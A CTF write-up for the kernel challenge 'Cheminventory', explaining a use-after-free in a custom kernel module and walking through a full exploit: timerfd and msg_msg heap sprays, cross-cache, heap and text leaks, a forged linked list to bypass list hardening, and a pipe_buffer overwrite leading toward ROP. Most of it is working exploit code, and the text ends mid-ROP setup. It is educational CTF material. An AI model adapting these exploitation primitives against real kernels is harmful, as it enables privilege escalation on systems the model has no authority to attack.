Cheminventory [Lag and Crash 4.0] - Sun, Mar 17, 2024
TLDR
Cheminventory is a kernel pwn challenge dealing with a UAF on an object that is part of a linked list. The UAF could be triggered by allocating more memory than kmalloc is able to service, which would then cause kmalloc to fail, and for the struct chemical object to be freed while it is still part of the linked list. The tricky part of this challenge lies in the exploitation as kernel list protections will perform checks when unlinking objects, hence in order to attain a better primitive such as the ability to free an object, a fake linked list must be forged using controllable objects. Once an arbitrary free on a kmalloc-cg-1024 object has been achieved, the classic pipe_buf spray and RIP control can be used together with a ROP chain to gain root :D
Table of Contents
- The Story Behind Cheminventory
- Module Functionality
- Setup
- Trigger, Cross Cache and Kernel Text Leak
- Fake Linked List Overview
- Kernel Heap Leak
- Building the Fake Linked List
- ROP Time!!!
The Story Behind Cheminventory
Once upon a time, I was having a friendly chat with gatari, and while talking about pwn, this happened:
And he responded:
At that time, he asked if I was interested in writing challenges for LNC 4.0, and I haven’t thought of anything cursed enough to turn into a challenge yet, so I wondered: what if I make a kernel challenge where the bug is triggered by trying to malloc a stupidly huge amount of memory ๐ค
Coupled with having to deal with kernel list_head structs in the past and my uni lab project (I am actually a chemist ๐งช), as well as some of my other friends telling me I should name it after some funny Chemistry thing, Cheminventory came to life!
Originally I wanted to do some sort of dlmalloc unlinking attack kind of thing (see LiveOverflow’s Youtube Video), where you could turn the list unlink into some sort of arbitrary write, but then I got skill issued by the kernel list protections ๐. There was a point where exploitation got so finnicky that I wanted to make this challenge way easier by introducing a new kernel module ioctl with an exec function which will execute a function whose address would be in struct chemical (and hence RIP control would be as easy as putting your ROP gadget there and calling exec), but I felt that this would have taken away the cyberbullying spirit charm of the challenge, so I decided to make the challenge about bypassing kernel list protections by forging a fake linked list using msg_msg objects. This exploit actually took me some time to write and was extremely fussy, and not only did I get skill issued by my own challenge, my VM also decided to skill issue me during the CTF dry run day when it refused to copy my base64-ed exploit into the challenge QEMU instance for a long time ๐๐๐
Another fun fact: Cheminventory actually exists! It is an actual lab management software (https://www.cheminventory.net/) for taking stock of what chemicals your lab has and where they are stored (so that people can find them amongst the tons of different chemical bottles in the lab):
Module Functionality
The module has 4 functions: DO_CREATE, DO_REPLACE, DO_READ, and DO_DELETE, all which perform actions involving struct chemical objects.
A struct chemical has a size of 256, and has the following components:
struct chemical {
char name[0xc8];
uint64_t quantity;
uint64_t cas;
uint64_t idx;
struct list_head list;
uint64_t note_size;
uint64_t note_addr;
};
(Fun fact: A CAS number is also an actual thing! Most chemicals are assigned a CAS number, which is a unique 10 digit identifier separated into 3 parts by 2 hyphens. For example, the CAS number of benzene โฌ is 71-43-2.)
The user can interact with the cheminventory module via ioctl, which takes in the following struct:
struct req {
uint64_t quantity;
uint64_t cas;
uint64_t idx;
uint64_t note_size;
uint64_t note_addr;
uint64_t name_addr;
};
There are unfortunately (well hopefully) no race conditions in this module, as locks are taken when the ioctl functions are being run.
DO_CREATE: 0xc030ca00
case DO_CREATE: {
if (user_data.note_size > 100 || user_data.note_size == 0) {
pr_info("A chemical explosion occurred. Oh no!\n");
mutex_unlock(&chem_mutex);
return -1;
}
chem = kmalloc(sizeof(struct chemical), GFP_KERNEL);
// Quantity
chem->quantity = user_data.quantity;
// CAS
chem->cas = user_data.cas;
// idx
chem->idx = chemical_count;
chemical_count = chemical_count +1;
// list_head
list_add_tail(&chem->list, &chemical_head);
// note_addr
chem->note_size = user_data.note_size;
note = kmalloc(user_data.note_size, GFP_KERNEL_ACCOUNT);
memset(note, 0, user_data.note_size);
chem->note_addr = (uint64_t) note;
ret = copy_from_user(buf, (void __user *) user_data.note_addr, user_data.note_size-1);
memcpy((void *) note, buf, user_data.note_size-1);
// name_addr
memset(buf, 0, sizeof(buf));
ret = copy_from_user(buf, (void __user *) user_data.name_addr, 0xc8-1);
memcpy((void *) chem->name, buf, 0xc8-1);
mutex_unlock(&chem_mutex);
return 0;
}
DO_CREATE will allocate a new struct chemical object in kmalloc-256. The quantity and CAS number provided by the user will be filled in, and the chemical will be assigned an index number. The struct chemical will then be added to a linked list of chemicals (this will be important later!).
The user also has the ability to allocate a note (size is restricted between 0 and 100; this is also important later), and the note object will be allocated with GFP_KERNEL_ACCOUNT (in a cg cache). The size of the note as well as its address will be stored in the struct chemical object. Finally, the name of the chemical will be copied into struct chemical.
DO_REPLACE: 0xc030ca01 and the Bug ๐ชฒ
case DO_REPLACE: {
if (user_data.note_size == 0) {
pr_info("A chemical explosion occurred. Oh no!\n");
mutex_unlock(&chem_mutex);
return -1;
}
list_for_each(ptr, &chemical_head) {
entry = list_entry(ptr, struct chemical, list);
if (entry->idx == user_data.idx) {
kfree((void *) entry->note_addr);
list_del(&entry->list);
kfree(entry);
pr_info("Replacing chemical at index %lld\n", user_data.idx);
chem = kzalloc(sizeof(struct chemical), GFP_KERNEL);
chem->quantity = user_data.quantity;
chem->cas = user_data.cas;
chem->idx = user_data.idx;
list_add_tail(&chem->list, &chemical_head);
// New note
note = kmalloc(user_data.note_size, GFP_KERNEL_ACCOUNT);
if (note == NULL) {
kfree(chem);
pr_info("A chemical explosion occurred. Oh no!\n");
mutex_unlock(&chem_mutex);
return -1;
}
if (user_data.note_size > 100) {
chem->note_size = 100;
} else {
chem->note_size = user_data.note_size;
}
memset(note, 0, chem->note_size);
chem->note_addr = (uint64_t) note;
ret = copy_from_user(buf, (void __user *) user_data.note_addr, user_data.note_size-1);
memcpy((void *) note, buf, user_data.note_size-1);
// name_addr
memset(buf, 0, sizeof(buf));
ret = copy_from_user(buf, (void __user *) user_data.name_addr, 0xc8-1);
memcpy((void *) chem->name, buf, 0xc8-1);
mutex_unlock(&chem_mutex);
return 0;
}
}
mutex_unlock(&chem_mutex);
return 0;
}
Basically what replace does is that it will swap out an old struct chemical object with a new one for the chemical at the index specified by the user.
The module will first walk through the linked list to find the chemical with an index matching the index specified by the user. That struct chemical object would then be unlinked from the list, and freed. The module would then allocate a new struct chemical object, and fill in the quantity, cas number, and index number as usual. Once that is done, the new struct chemical object would be linked into the linked list.
The module then tries to allocate a note object with the size specified by the user. If kmalloc fails, it will return null, and the struct chemical object would be freed. Hmmmm… What could possibly go wrong???
If kmalloc fails, and the struct chemical object is freed, it is still linked to the linked list! This means that if we are somehow able to reach that code path, we would be looking at a very nice use-after-free bug.
But how could we possibly force kmalloc to fail? We could kmalloc(0), but that would result in kmalloc returning ZERO_SIZE_PTR (https://lwn.net/Articles/236809/) instead of NULL. Note that the kernel module also checks that the user does not attempt to create a note with size 0 when attempting to replace a chemical object. (I also thought that allocating no memory was less funny than allocating a crap ton of memory, hence I blocked it XD)
However, note that DO_REPLACE does not check that the note size is smaller than 100 before creating a new chemical object! This means that theoretically, we could attempt to kmalloc any size above 0. To make kmalloc ๐ฅ combust ๐ฅ, we can simply try to allocate all possible memory on the machine :O!!!!!!
DO_READ: 0xc030ca02
case DO_READ: {
list_for_each(ptr, &chemical_head) {
entry = list_entry(ptr, struct chemical, list);
if (entry->idx == user_data.idx) {
if (entry->note_size <= 100) {
ret = copy_to_user((void __user *)user_data.note_addr, (void *) entry->note_addr, entry->note_size);
}
ret = copy_to_user((void __user *)user_data.name_addr, &entry->name, 0xc8-1);
mutex_unlock(&chem_mutex);
return 0;
}
}
mutex_unlock(&chem_mutex);
return 0;
}
The read function will simply read from the note buffer (up to a length of the size of the note) and the chemical name buffer, and return that information to the user. This functionality will be very useful for leaks :D
DO_DELETE: 0xc030ca03
case DO_DELETE: {
list_for_each(ptr, &chemical_head) {
entry = list_entry(ptr, struct chemical, list);
if (entry->idx == user_data.idx) {
list_del(&entry->list);
kfree((void *) entry->note_addr);
entry->note_addr = 0;
kfree(entry);
pr_info("Deleted chemical at index %lld\n", user_data.idx);
mutex_unlock(&chem_mutex);
return 0;
}
}
mutex_unlock(&chem_mutex);
return 0;
}
The delete function will walk the linked list to find the chemical with the matching index number. That chemical will then be deleted, and the struct chemical object freed, along with its corresponding note object. Note that the delete function solely identifies which struct chemical object to delete via its index number.
Module Protections
The annoying part of this challenge actually has to do with the kernel protections that have been enabled. On top of the usual SMAP, SMEP, KPTI, and KASLR protections being enabled, the following extra protections were also used:
- CONFIG_STATIC_USERMODEHELPER (no modprobe path overwrite)
- CONFIG_SLAB_FREELIST_HARDENED and CONFIG_SLAB_FREELIST_RANDOM
- CONFIG_LIST_HARDENED – list protections; more on this later
- CONFIG_SECURITY_SELINUX
Setup
We will first have to do some setup before we can begin exploitation. As usual, we will limit all actions to the same CPU, set up our message queues, sockets, struct pipe_buffers, and open the cheminventory device.
printf("[+] Initial setup\n");
cpu_set_t cpu;
CPU_ZERO(&cpu);
CPU_SET(0, &cpu);
if (sched_setaffinity(0, sizeof(cpu_set_t), &cpu)) {
perror("sched_setaffinity");
exit(-1);
}
// Set up message queues
printf("[+] Setting up msg queues\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
if ((msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0) {
perror("[!] msgget failed");
exit(-1);
}
}
// Set up sockets
printf("[+] Setting up sockets\n");
for (int i = 0; i < NUM_SOCKETS; i++) {
if (socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]) < 0) {
perror("[!] Socket pair");
exit(-1);
}
}
// Set up pipe_buffer stuff
struct pipe_buf_operations *ops;
struct pipe_buffer *pbuf;
// Open Cheminventory word device
printf("[+] Opening Cheminventory device\n");
if ((fd = open("/dev/cheminventory", O_RDONLY)) < 0) {
perror("[!] Failed to open miscdevice");
exit(-1);
}
Trigger, Cross Cache and Kernel Text Leak
We know that we have the ability to cause a UAF in a struct chemical object that will be allocated in kmalloc-256. Our handle to this UAF is via the chemical linked list, where a target object is chosen for operations via its index number. Let us first take a look at what possible parts of the chemical struct we can use to help us in our exploit.
In order to perform any of the kernel module operations on any object, the object must have a valid idx. I have chosen the timerfd_ctx object as the object that will replace the freed victim object, as timerfd_ctx[0xd8] will be 0 even when the timer is armed. This will allow us to perform a DO_READ on the object to get a kernel text leak. struct timerfd_ctx and other relevant structs are shown below:
struct timerfd_ctx {
union {
struct hrtimer tmr;
struct alarm alarm;
} t;
ktime_t tintv;
ktime_t moffs;
wait_queue_head_t wqh;
u64 ticks;
int clockid;
short unsigned expired;
short unsigned settime_flags;
struct rcu_head rcu;
struct list_head clist;
spinlock_t cancel_lock;
bool might_cancel;
};
struct hrtimer {
struct timerqueue_node node;
ktime_t _softexpires;
enum hrtimer_restart (*function)(struct hrtimer *);
struct hrtimer_clock_base *base;
u8 state;
u8 is_rel;
u8 is_soft;
u8 is_hard;
};
struct timerqueue_node {
struct rb_node node;
ktime_t expires;
};
struct rb_node {
unsigned long __rb_parent_color;
struct rb_node *rb_right;
struct rb_node *rb_left;
} __attribute__((aligned(sizeof(long))));
After getting a kernel text leak with timerfd_ctx, we will want to free the object, and cross cache so that the slab with the victim object is allocated to the kmalloc-cg-256 cache, which will allow us to replace the victim object with struct msg_msg. struct msg_msg is as follows:
struct msg_msg {
struct list_head m_list; // contains 2 pointers, next and prev
long m_type; // message type
size_t m_ts; // message data size
struct msg_msgseg *next; // msg_msgseg contains more data from the same msg_msg if the size is very big
void *security; // selinux security pointer
/* the actual message follows immediately */
};
Remember how struct chemical allows us to read from both the name array in the struct itself, as well as data in the note_addr pointer? By freeing the timerfd_ctx object over the victim object, and then reclaiming that freed space with msg_msg, we are able to get a kernel heap leak by reading off the struct list_head m_list pointers which would be in the name array of struct chemical. Furthermore, the good thing about struct msg_msg is that we are able to control all the data after the header, allowing us to forge a fake note_addr pointer to wherever we want, giving us more or less an arbitrary read primitive.
Make sure to check out Cross Cache for Lazy People – The Padding Spray Method before proceeding; we will be using this method to perform a cross cache attack here.
So, we will be doing the following:
- Spray timerfd_ctx as the padding spray
- Allocate the victim struct chemical object
- Free the victim struct chemical object via the vulnerability in DO_REPLACE
- Spray more timerfd_ctx to reclaim the victim object
- Get a kernel text leak by performing DO_READ
- Free all the timerfd_ctx objects and spray msg_msg to cross cache
Steps 1-4: Padding spray, allocate/free victim object, timerfd_ctx spray
We will first spray and arm some timerfd_ctx objects (allocated in kmalloc-256, which is the same cache as struct chemical) as the padding spray:
printf("[+] Spraying padding timerfd\n");
for (int i = 0; i < NUM_PADDING; i++) {
padding[i] = timerfd_create(CLOCK_REALTIME, 0);
timerValue.it_value.tv_sec = 1;
timerValue.it_value.tv_nsec = 0;
timerValue.it_interval.tv_sec = 1;
timerValue.it_interval.tv_nsec = 0;
timerfd_settime(padding[i], 0, &timerValue, NULL);
}
sleep(1);
We then allocate, and free the victim object by triggering the vulnerability:
create_chem(0x41414141, 0x42424242, 0x50, "Carcinogenic", "Benzene");
replace_chem(44444444, 55555555, 0, 0xffffffffffffffff, "blabla", "meowmeow");
We will then reclaim the freed victim object by spraying and arming even more timerfd_ctx objects:
printf("[+] Spraying timerfds\n");
for (int i = 0; i < NUM_TIMERFDS; i++) {
timerfds[i] = timerfd_create(CLOCK_REALTIME, 0);
timerValue.it_value.tv_sec = 1;
timerValue.it_value.tv_nsec = 0;
timerValue.it_interval.tv_sec = 1;
timerValue.it_interval.tv_nsec = 0;
timerfd_settime(timerfds[i], 0, &timerValue, NULL);
}
sleep(1);
Step 5: Get a kernel text leak
The armed timerfd_ctx objects look like this in a debugger:
As we can see, there is a readable kernel text pointer in the region of the name array, and that timerfd_ctx[0xd8] is 0. We can hence get a leak by performing DO_READ, allowing us to calculate the kernel text base:
read_chem(0, buf, buf2);
kernel_leak = buf2[5];
printf("[+] Kernel text leak: 0x%llx\n", kernel_leak);
kernel_base = kernel_leak - 0x285ba0 - 0x120;
printf("[+] Kernel base: 0x%llx\n", kernel_base);
Step 6: Cross cache using msg_msg
To cross cache, we will free all the timerfd_ctx objects:
// Free padding spray timerfd objects
printf("[+] Freeing padding timerfd spray\n");
for (int i = 0; i < NUM_PADDING; i++) {
close(padding[i]);
}
sleep(1);
// Free timerfd objects
printf("[+] Freeing timerfd spray\n");
for (int i = 0; i < NUM_TIMERFDS; i++) {
close(timerfds[i]);
}
sleep(1);
After which, we will spray msg_msg (there are many objects being sprayed here, this will be explained in a bit!):
// Cross cache msg_msg spray
printf("[+] Cross cache msg_msg spray\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
memset(&message, 0, sizeof(message));
*(long *)&message.mtype = 0x41;
*(int *)&message.mtext[0] = MSG_TAG;
*(int *)&message.mtext[4] = i;
if (msgsnd(msqid[i], &message, sizeof(message) - sizeof(long), 0) < 0) {
perror("[!] msg_msg spray failed");
exit(-1);
}
}
sleep(1);
// Fake object 1
printf("[+] Fake object 1 msg_msg spray\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
memset(&msg_one, 0, sizeof(msg_one));
*(long *)&msg_one.mtype = 0x61;
*(int *)&msg_one.mtext[0] = MSG_TAG;
*(int *)&msg_one.mtext[4] = i;
if (msgsnd(msqid[i], &msg_one, sizeof(msg_one) - sizeof(long), 0) < 0) {
perror("[!] msg_msg spray failed");
exit(-1);
}
}
sleep(1);
// Spraying secondary msg_msg
printf("[+] Secondary msg_msg spray\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
memset(&msg_secondary, 0, sizeof(msg_secondary));
*(long *)&msg_secondary.mtype = 0x42;
*(int *)&msg_secondary.mtext[0] = MSG_TAG;
*(int *)&msg_secondary.mtext[4] = i;
if (msgsnd(msqid[i], &msg_secondary, sizeof(msg_secondary) - sizeof(long), 0) < 0) {
perror("[!] msg_msg spray failed");
exit(-1);
}
}
sleep(1);
// Fake object 2
printf("[+] Fake object 2 msg_msg spray\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
memset(&msg_two, 0, sizeof(msg_two));
*(long *)&msg_two.mtype = 0x62;
*(int *)&msg_two.mtext[0] = MSG_TAG;
*(int *)&msg_two.mtext[4] = i;
if (msgsnd(msqid[i], &msg_two, sizeof(msg_two) - sizeof(long), 0) < 0) {
perror("[!] msg_msg spray failed");
exit(-1);
}
}
sleep(1);
// Fake object 3
printf("[+] Fake object 3 msg_msg spray\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
memset(&msg_three, 0, sizeof(msg_three));
*(long *)&msg_three.mtype = 0x63;
*(int *)&msg_three.mtext[0] = MSG_TAG;
*(int *)&msg_three.mtext[4] = i;
if (msgsnd(msqid[i], &msg_three, sizeof(msg_three) - sizeof(long), 0) < 0) {
perror("[!] msg_msg spray failed");
exit(-1);
}
}
sleep(1);
Fake Linked List Overview
At this point, we need to think about how to continue our exploitation. Looking at DO_DELETE, we know that it walks the linked list, looks for an object that matches the idx supplied by the user when making the ioctl request, and frees that object. This means that as long as an object with the idx specified exists in the linked list, we will be able to free it, potentially giving us an arbitrary free on not only the object itself, but also the corresponding object at note_addr! So, doesn’t that mean that once we have gotten a heap leak, we can link a second fake chemical object directly after the victim object with a new idx (say, idx = 1), and free that object?
Not quite. Remember that due to CONFIG_LIST_HARDENED, list protections have been enabled? Let’s take a look at how the protections are implemented in kernel source code:
/*
* Performs list corruption checks before __list_del_entry(). Returns false if a
* corruption is detected, true otherwise.
*
* With CONFIG_LIST_HARDENED only, performs minimal list integrity checking
* inline to catch non-faulting corruptions, and only if a corruption is
* detected calls the reporting function __list_del_entry_valid_or_report().
*/
static __always_inline bool __list_del_entry_valid(struct list_head *entry)
{
bool ret = true;
if (!IS_ENABLED(CONFIG_DEBUG_LIST)) {
struct list_head *prev = entry->prev;
struct list_head *next = entry->next;
/*
* With the hardening version, elide checking if next and prev
* are NULL, LIST_POISON1 or LIST_POISON2, since the immediate
* dereference of them below would result in a fault.
*/
if (likely(prev->next == entry && next->prev == entry))
return true;
ret = false;
}
ret &= __list_del_entry_valid_or_report(entry);
return ret;
}
In this case, CONFIG_DEBUG_LIST has been enabled, so __list_del_entry_valid_or_report
will be called:
/*
* Performs the full set of list corruption checks before __list_del_entry().
* On list corruption reports a warning, and returns false.
*/
extern bool __list_valid_slowpath __list_del_entry_valid_or_report(struct list_head *entry);
...
__list_valid_slowpath
bool __list_del_entry_valid_or_report(struct list_head *entry)
{
struct list_head *prev, *next;
prev = entry->prev;
next = entry->next;
if (CHECK_DATA_CORRUPTION(next == NULL,
"list_del corruption, %px->next is NULL\n", entry) ||
CHECK_DATA_CORRUPTION(prev == NULL,
"list_del corruption, %px->prev is NULL\n", entry) ||
CHECK_DATA_CORRUPTION(next == LIST_POISON1,
"list_del corruption, %px->next is LIST_POISON1 (%px)\n",
entry, LIST_POISON1) ||
CHECK_DATA_CORRUPTION(prev == LIST_POISON2,
"list_del corruption, %px->prev is LIST_POISON2 (%px)\n",
entry, LIST_POISON2) ||
CHECK_DATA_CORRUPTION(prev->next != entry,
"list_del corruption. prev->next should be %px, but was %px. (prev=%px)\n",
entry, prev->next, prev) ||
CHECK_DATA_CORRUPTION(next->prev != entry,
"list_del corruption. next->prev should be %px, but was %px. (next=%px)\n",
entry, next->prev, next))
return false;
return true;
}
EXPORT_SYMBOL(__list_del_entry_valid_or_report);
The following checks are performed to make sure that the list is not corrupted before any list deletion operation can be performed:
- next cannot be NULL
- prev cannot be NULL
- next cannot be LIST_POISON1
- prev cannot be LIST_POISON2
- prev->next must be equal to the list_head of the object that we are trying to free
- next->prev must be equal to the list_head of the object that we are trying to free
Trying to free the fake struct chemical object at idx 1 in the diagram above would hence cause the kernel to kill the process (or crash if panic_on_warn is enabled), as since we are unable to control the chemical_head object, condition 6 cannot be fulfilled. In order to fulfil all 6 conditions, we must create a fake linked list before attempting to leverage the arbitrary free.
This is what we are trying to achieve (with the necessary leaks and all):
(P.S. I just realized that I could have leaked the victim object and freed fake object 1 instead, reducing the need for an extra fake object. Whoops.)
Basically, the aim would be to have a fake object that fulfils all the necessary checks, so that when we perform DO_DELETE on the fake object, it will pass all the list checks, freeing the fake object itself, as well as giving us an arbitrary free on whatever is at note_addr. In this case, I wanted to get an arbitrary free on a kmalloc-cg-1k object, so that I can spray pipe_buf and do the classic RIP overwrite via pipe_buf_ops. Note that I have put all the fake objects in a different kmalloc-cg cache, just so to make exploitation easier and more stable.
Let’s compile a list of kernel heap leaks we would require:
- Fake object 1 – referred to in exploit as kheap_one_addr/msg_one
- Fake object 2 – referred to in exploit as kheap_two_addr/msg_two
- Fake object 3 – referred to in exploit as kheap_three_addr/msg_three
- Target kmalloc-cg-1k object to be freed – referred to in exploit as kheap_1024_addr/msg_secondary
Kernel Heap Leak
Remember when we performed our cross cache attack by spraying msg_msg, we also sprayed multiple other msg_msgs of different sizes after it? This is to aid us in getting our required heap leaks.
In each message queue, we have the following msg_msg objects:
Note that the next pointer of each msg_msg object points to the next object in the queue, and note how the entire msg_msg header of the victim header is contained within struct chemical’s name array? We know that we can read whatever is inside the name array with DO_READ, and that we have arbitrary read of any data which note_addr points to. We can leverage these in getting our heap leaks.
To get the address of fake object 1 (in kmalloc-cg-512), we can simply leak the next pointer from the msg_msg header of the victim object via DO_READ.
memset(buf2, 0, sizeof(buf2));
read_chem(0, buf, buf2);
kheap_one_addr = buf2[0];
printf("[+] Fake object 1 address: 0x%llx\n", kheap_one_addr);
vuln_msg = buf2[6] >> 32;
printf("[+] msg_msg at vulnerable object: 0x%x\n", (int) vuln_msg);
fake_msg = vuln_msg;
In order to get the addresses of the other fake objects, we will need to forge note_addr. We first free the msg_msg over the vulnerable object, then spray a new msg_msg, but this time with note_addr = kheap_one_addr.
printf("[+] Freeing that one specific primary msg_msg\n");
if (msgrcv(msqid[vuln_msg], &message, sizeof(message)-sizeof(long), 0x41, 0) < 0) {
perror("[!] Free msg_msg object failed");
exit(-1);
}
sleep(1);
printf("[+] Spraying new primary msg_msg\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
memset(&message, 0, sizeof(message));
*(long *)&message.mtype = 0x43;
*(int *)&message.mtext[0] = MSG_TAG;
*(int *)&message.mtext[4] = i;
*(uint64_t *)&message.mtext[192] = 0x40; // note_size
*(uint64_t *)&message.mtext[200] = kheap_one_addr; // note_addr
if (msgsnd(msqid[i], &message, sizeof(message) - sizeof(long), 0) < 0) {
perror("[!] msg_msg spray failed");
exit(-1);
}
}
sleep(1);
We can now read from fake object 1 as if it was a note attached to struct chemical. This will allow us to leak the next pointer of fake object 1, which would be our target object (secondary_msg) in kmalloc-cg-1k.
memset(buf2, 0, sizeof(buf2));
read_chem(0, buf, buf2);
kheap_1024_addr = buf[0];
printf("[+] kmalloc-cg-1024 address: 0x%llx\n", kheap_1024_addr);
security_leak = buf[5];
printf("[+] SELinux security pointer leak: 0x%llx\n", security_leak);
vuln_msg = buf2[6] >> 32;
printf("[+] msg_msg at vulnerable object: 0x%x\n", (int) vuln_msg);
We can do something similar to leak fake object 2 via reading from the target object (secondary_msg):
printf("[+] Freeing that one specific primary msg_msg\n");
if (msgrcv(msqid[vuln_msg], &message, sizeof(message)-sizeof(long), 0x43, 0) < 0) {
perror("[!] Free msg_msg object failed");
exit(-1);
}
sleep(1);
printf("[+] Spraying new primary msg_msg\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
memset(&message, 0, sizeof(message));
*(long *)&message.mtype = 0x44;
*(int *)&message.mtext[0] = MSG_TAG;
*(int *)&message.mtext[4] = i;
*(uint64_t *)&message.mtext[192] = 0x40;
*(uint64_t *)&message.mtext[200] = kheap_1024_addr;
if (msgsnd(msqid[i], &message, sizeof(message) - sizeof(long), 0) < 0) {
perror("[!] msg_msg spray failed");
exit(-1);
}
}
sleep(1);
memset(buf2, 0, sizeof(buf2));
read_chem(0, buf, buf2);
kheap_two_addr = buf[0];
printf("[+] Fake object 2 address: 0x%llx\n", kheap_two_addr);
vuln_msg = buf2[6] >> 32;
printf("[+] msg_msg at vulnerable object: 0x%x\n", (int) vuln_msg);
As well as with fake object 3:
printf("[+] Spraying new primary msg_msg\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
memset(&message, 0, sizeof(message));
*(long *)&message.mtype = 0x45;
*(int *)&message.mtext[0] = MSG_TAG;
*(int *)&message.mtext[4] = i;
*(uint64_t *)&message.mtext[192] = 0x40;
*(uint64_t *)&message.mtext[200] = kheap_two_addr;
if (msgsnd(msqid[i], &message, sizeof(message) - sizeof(long), 0) < 0) {
perror("[!] msg_msg spray failed");
exit(-1);
}
}
sleep(1);
memset(buf2, 0, sizeof(buf2));
read_chem(0, buf, buf2);
kheap_three_addr = buf[0];
printf("[+] Fake object 3 address: 0x%llx\n", kheap_three_addr);
vuln_msg = buf2[6] >> 32;
printf("[+] msg_msg at vulnerable object: 0x%x\n", (int) vuln_msg);
We finally have all the pieces of the puzzle. Now it’s time to PWN THE KERNEL!!!
Building the Fake Linked List
We have one leaked address from each of the fake object caches, as well as the address of the target object. All we need to do now is to free the original msg_msgs occupying the objects, and spray new msg_msgs over them which contain the fake list head struct.
printf("[+] Freeing that one specific primary msg_msg\n");
if (msgrcv(msqid[vuln_msg], &message, sizeof(message)-sizeof(long), 0x45, 0) < 0) {
perror("[!] Free msg_msg object failed");
exit(-1);
}
sleep(1);
printf("[+] Spraying new primary msg_msg\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
memset(&message, 0, sizeof(message));
*(long *)&message.mtype = 0x46;
*(int *)&message.mtext[0] = MSG_TAG;
*(int *)&message.mtext[4] = i;
*(uint64_t *)&message.mtext[176] = kheap_one_addr + 224; // next
*(uint64_t *)&message.mtext[184] = kheap_one_addr; // prev
*(uint64_t *)&message.mtext[192] = 0x40; // note_size
*(uint64_t *)&message.mtext[200] = kheap_1024_addr; // note_addr
if (msgsnd(msqid[i], &message, sizeof(message) - sizeof(long), 0) < 0) {
perror("[!] msg_msg spray failed");
exit(-1);
}
}
sleep(1);
printf("[+] Freeing fake object 1\n");
if (msgrcv(msqid[fake_msg], &msg_one, sizeof(msg_one)-sizeof(long), 0x61, 0) < 0) {
perror("[!] Free msg_msg object failed");
exit(-1);
}
sleep(1);
printf("[+] Spraying new fake object 1\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
memset(&msg_one, 0, sizeof(msg_one));
*(long *)&msg_one.mtype = 0x71;
*(int *)&msg_one.mtext[0] = MSG_TAG;
*(int *)&msg_one.mtext[4] = i;
*(uint64_t *)&msg_one.mtext[168] = 1; // idx
*(uint64_t *)&msg_one.mtext[176] = kheap_two_addr +224; // next
*(uint64_t *)&msg_one.mtext[184] = kheap_three_addr + 224; // prev
*(uint64_t *)&msg_one.mtext[192] = 0x40;
*(uint64_t *)&msg_one.mtext[200] = kheap_1024_addr;
if (msgsnd(msqid[i], &msg_one, sizeof(msg_one) - sizeof(long), 0) < 0) {
perror("[!] msg_msg spray failed");
exit(-1);
}
}
sleep(1);
printf("[+] Freeing fake object 2\n");
if (msgrcv(msqid[fake_msg], &msg_two, sizeof(msg_two)-sizeof(long), 0x62, 0) < 0) {
perror("[!] Free msg_msg object failed");
exit(-1);
}
sleep(1);
printf("[+] Spraying new fake object 2\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
memset(&msg_two, 0, sizeof(msg_two));
*(long *)&msg_two.mtype = 0x72;
*(int *)&msg_two.mtext[0] = MSG_TAG;
*(int *)&msg_two.mtext[4] = i;
*(uint64_t *)&msg_two.mtext[168] = 2; // idx
*(uint64_t *)&msg_two.mtext[176] = kheap_three_addr + 224; // next
*(uint64_t *)&msg_two.mtext[184] = kheap_one_addr + 224; // prev
*(uint64_t *)&msg_two.mtext[192] = 0x40;
*(uint64_t *)&msg_two.mtext[200] = kheap_1024_addr;
if (msgsnd(msqid[i], &msg_two, sizeof(msg_two) - sizeof(long), 0) < 0) {
perror("[!] msg_msg spray failed");
exit(-1);
}
}
sleep(1);
printf("[+] Freeing fake object 3\n");
if (msgrcv(msqid[fake_msg], &msg_three, sizeof(msg_three)-sizeof(long), 0x63, 0) < 0) {
perror("[!] Free msg_msg object failed");
exit(-1);
}
sleep(1);
printf("[+] Spraying new fake object 3\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
memset(&msg_three, 0, sizeof(msg_three));
*(long *)&msg_three.mtype = 0x73;
*(int *)&msg_three.mtext[0] = MSG_TAG;
*(int *)&msg_three.mtext[4] = i;
*(uint64_t *)&msg_three.mtext[168] = 2; // idx
*(uint64_t *)&msg_three.mtext[176] = kheap_one_addr + 224; // next
*(uint64_t *)&msg_three.mtext[184] = kheap_two_addr + 224; // prev
*(uint64_t *)&msg_three.mtext[192] = 0x40;
*(uint64_t *)&msg_three.mtext[200] = kheap_1024_addr;
if (msgsnd(msqid[i], &msg_three, sizeof(msg_three) - sizeof(long), 0) < 0) {
perror("[!] msg_msg spray failed");
exit(-1);
}
}
sleep(1);
We also set up the target object by freeing it and spraying pipe_buffer over it:
printf("[+] Freeing secondary msg_msg\n");
if (msgrcv(msqid[fake_msg], &msg_secondary, sizeof(msg_secondary)-sizeof(long), 0x42, 0) < 0) {
perror("[!] Free msg_msg object failed");
exit(-1);
}
sleep(1);
printf("[+] Spraying pipe_buf over freed 1024 area\n");
for (int i = 0; i < NUM_PIPEFDS; i++) {
if (pipe(pipefd[i]) < 0) {
perror("[!] pipe");
exit(-1);
}
if (write(pipefd[i][1], "ABC", 3) < 0) {
perror("[!] write");
exit(-1);
}
}
This is the state of the system at this point of time:
Now, we trigger the arbitrary free by freeing the chemical with idx 2.
free_chem(2);
Because we have passed all the list protection checks, the kernel module will proceed to free the chemical at idx 2, as well as note_addr, which points to our target object at kmalloc-cg-1k! We are now able to spray something over a freed pipe_buffer object, which was can easily turn into RIP control!
ROP Time!!!
All we need to do now is to construct our ROP chain, spray our fake pipe_buffer object to overwrite pipe_buf_operations, and release all the pipe_buffers to ROP!
save_state();
memset(secondary_buf, 0, sizeof(secondary_buf));
pbuf = (struct pipe_buffer *)&secondary_buf;
pbuf->ops = kheap_1024_addr + 0x290;
ops = (struct pipe_buf_operations *)&secondary_buf[0x290];
